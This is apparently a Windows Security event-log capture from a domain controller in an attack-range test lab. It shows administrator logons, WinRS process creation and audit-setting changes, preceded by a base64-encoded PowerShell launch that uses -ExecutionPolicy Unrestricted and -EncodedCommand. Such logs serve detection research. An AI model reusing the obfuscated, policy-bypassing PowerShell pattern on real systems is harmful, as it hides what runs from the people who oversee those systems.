UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247519
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x144586

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247518
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x144586
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247517
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:42:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247516
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:42:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247515
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x144270

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb54
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf18
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247514
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x144270

Process Information:
	New Process ID:		0xf18
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3b4
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247513
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x144270

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247512
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x144270
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247511
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:42:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247510
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:42:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247535
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x146A30

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247534
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x146A30
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247533
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:42:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247532
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:42:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247536
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2e8
	New Process Name:	C:\Windows\Temp\B856F8AE-9194-4171-AB1D-007AD90A6C37\DismHost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xd24
	Creator Process Name:	C:\Windows\System32\wbem\WmiPrvSE.exe
	Process Command Line:	C:\Windows\TEMP\B856F8AE-9194-4171-AB1D-007AD90A6C37\dismhost.exe {4D5FF57B-0BA3-4225-8FAB-B9F21E365A31}

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247720
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch55.ldf
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247719
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch54.ldf
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247718
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch53.ldf
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247717
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch52.ldf
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247716
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch51.ldf
	Handle ID:	0xdd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247715
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch50.ldf
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247714
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch49.ldf
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247713
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch48.ldf
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247712
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch47.ldf
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
